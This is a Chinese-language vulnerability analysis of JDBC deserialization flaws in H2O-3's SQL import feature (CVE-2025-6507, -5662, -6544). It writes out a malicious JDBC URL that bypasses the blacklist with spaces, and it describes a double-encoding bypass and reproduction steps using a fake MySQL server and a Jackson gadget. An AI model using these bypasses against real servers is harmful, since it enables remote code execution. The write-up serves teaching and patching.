h2o-3 JDBC反序列化漏洞浅析(CVE-2025-6507/CVE-2025-5662/CVE-2025-6544)
字数 2890 2025-10-01 14:05:44
H2O-3 JDBC 反序列化漏洞综合分析 (CVE-2025-6507 / CVE-2025-5662 / CVE-2025-6544)
教学文档
一、漏洞概述
- 受影响组件:H2O-3,一个由 H2O.ai 开发的开源分布式机器学习平台。
- 漏洞功能点:
ImportSQLTable功能。该功能允许用户通过 JDBC(Java Database Connectivity)连接字符串从 SQL 数据库导入数据。 - 漏洞本质:由于对用户提供的 JDBC URL 校验不严,攻击者可构造恶意 URL,利用目标 Classpath 中存在的反序列化利用链(如 MySQL Connector/J 的
ServerStatusDiffInterceptor),在目标服务器上实现远程代码执行(RCE)。 - 漏洞类型:JDBC 反序列化漏洞(一种经典的攻击模式)。
- 影响版本:H2O-3 版本 <= V3.46.0.8。
二、漏洞原理深度分析
1. CVE-2025-6507 与 CVE-2025-5662 (正则绕过)
这两个 CVE 本质上是同一个核心漏洞的不同标识,其根本原因在于黑名单过滤机制存在缺陷。
- 过滤逻辑位置:
water.jdbc.SQLManager#validateJdbcUrl方法。 - 原过滤规则:使用正则表达式
Pattern.compile("(?i)[?;&]([a-z]+)=")来匹配并黑名单过滤 URL 中的参数(如autoDeserialize=true)。 - 绕过方式:在参数名前添加空格。
- 原正则表达式无法匹配参数键(key)前的空格。
- 攻击者可通过注入空格,使恶意参数绕过黑名单检测。
恶意 URL 构造示例:
# URL 编码形式
jdbc%3Amysql%3A%2F%2F127.0.0.1%3A3309%2Ftest%3F++autoDeserialize%3Dtrue%26+queryInterceptors%3Dcom.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
# 解码后实际内容
jdbc:mysql://127.0.0.1:3309/test? autoDeserialize=true& queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
注意 ? 后的两个空格和 & 后的一个空格,它们成功绕过了正则检查。
2. CVE-2025-6544 (二次编码绕过)
这是在修复了空格绕过问题后发现的另一个旁路漏洞。
- 修复逻辑:官方补丁增加了对参数名进行 URL 解码后再进行匹配的逻辑。
- 新绕过方式:对恶意参数进行二次 URL 编码。
- 如果过滤代码只进行一次解码,那么二次编码的字符串在一次解码后仍为编码状态,从而可能再次绕过黑名单检查。
- 例如,将
autoDeserialize中的字母a进行二次编码(%61):a-> 一次 URL 编码:%61%61-> 二次 URL 编码:%2561
- 过滤逻辑解码一次后得到
%61,仍未匹配到黑名单关键词autoDeserialize。但在后续实际建立 JDBC 连接时,JDBC 驱动会再次进行解码,最终正确解析出恶意参数。
三、漏洞调用链分析
漏洞的触发遵循清晰的代码执行路径:
- 入口点 (Entry Point):HTTP API 端点。请求由
water.api.RegisterV3Api#registerEndPoints注册并路由。 - 功能处理 (Handler):请求被分发到
water.api.ImportSQLTableHandler#importSQLTable方法处理。 - 核心业务逻辑 (Core Logic): handler 调用
water.jdbc.SQLManager#importSqlTable方法。 - 安全校验 (Validation): 在
importSqlTable中,会调用SQLManager#validateJdbcUrl(url)对用户输入的 JDBC URL 进行校验。此处正是被绕过的过滤点。 - 漏洞触发 (Trigger): 校验通过后,最终在
water.jdbc.SQLManager#getConnectionSafe方法中,调用标准 Java APIDriverManager.getConnection(url, username, password)建立数据库连接。此时,恶意 JDBC URL 被 MySQL Connector/J 驱动解析,触发其中存在的反序列化逻辑,导致代码执行。
四、漏洞复现与环境搭建
1. 环境搭建
- 获取漏洞版本代码:从官方 GitHub仓库 (https://github.com/h2oai/h2o-3) 拉取代码,并切换(checkout)到修复前的最新漏洞版本(tag <=
v3.46.0.8)。 - 编译运行:按照 H2O-3 的文档指引,在本地编译并启动项目。
2. 利用过程
- 定位功能点:在 H2O-3 的 Web 界面中,找到通过 JDBC 导入数据的功能模块(通常为
Import SQL Table或类似名称)。 - 准备恶意 MySQL 服务:使用
mysql-fake-server等工具在攻击者控制的服务器上搭建一个伪装的 MySQL 服务器,该服务器会响应恶意序列化 payload。 - 生成 Payload:由于 H2O-3 项目依赖 Jackson 库,可利用已有的 Jackson 反序列化利用链(例如
org.springframework.context.support.FileSystemXmlApplicationContext用于加载远程 XML 实现 RCE,或其他 Gadget)生成 payload。 - 构造并发送恶意 URL:在 H2O-3 的 JDBC 连接输入框中,填入构造好的恶意 URL。
- 对于 CVE-2025-6507/5662:使用参数前加空格的格式。
- 对于 CVE-2025-6544:对恶意参数名或值进行二次 URL 编码。
- 触发漏洞:提交连接请求。如果绕过成功,H2O-3 服务器会尝试与恶意 MySQL 服务建立连接,从而触发反序列化并执行 payload 中的代码。
五、修复方案
- 官方补丁:升级 H2O-3 至最新版本(> V3.46.0.8)。
- 补丁核心改进:
- 增强了
validateJdbcUrl方法中的正则匹配逻辑,使其能够匹配参数前的空格。 - 加入了循环 URL 解码机制,确保将输入 URL 解码至最原始的形式,然后再应用黑名单过滤,从而有效防御多重编码绕过。
- 增强了
六、总结与启示
- 黑名单的局限性:该案例再次表明,依赖黑名单进行安全过滤往往存在被绕过的风险,尤其是在字符串解析和规范化(Normalization)层面。
- 安全校验应放在驱动之前:任何来自用户输入的、将传递给复杂第三方库(如 JDBC 驱动)的数据,都必须经过严格且充分的安全校验。
- 规范化与校验:对用户输入进行安全校验前,必须对其进行彻底的规范化(例如,完整的 URL 解码、路径标准化、大小写统一等),确保校验逻辑面对的是输入的“最终形态”。
- 威胁建模:对于支持 JDBC、JNDI 等可动态加载类机制的功能,应在设计阶段就充分考虑其潜在的反序列化攻击风险。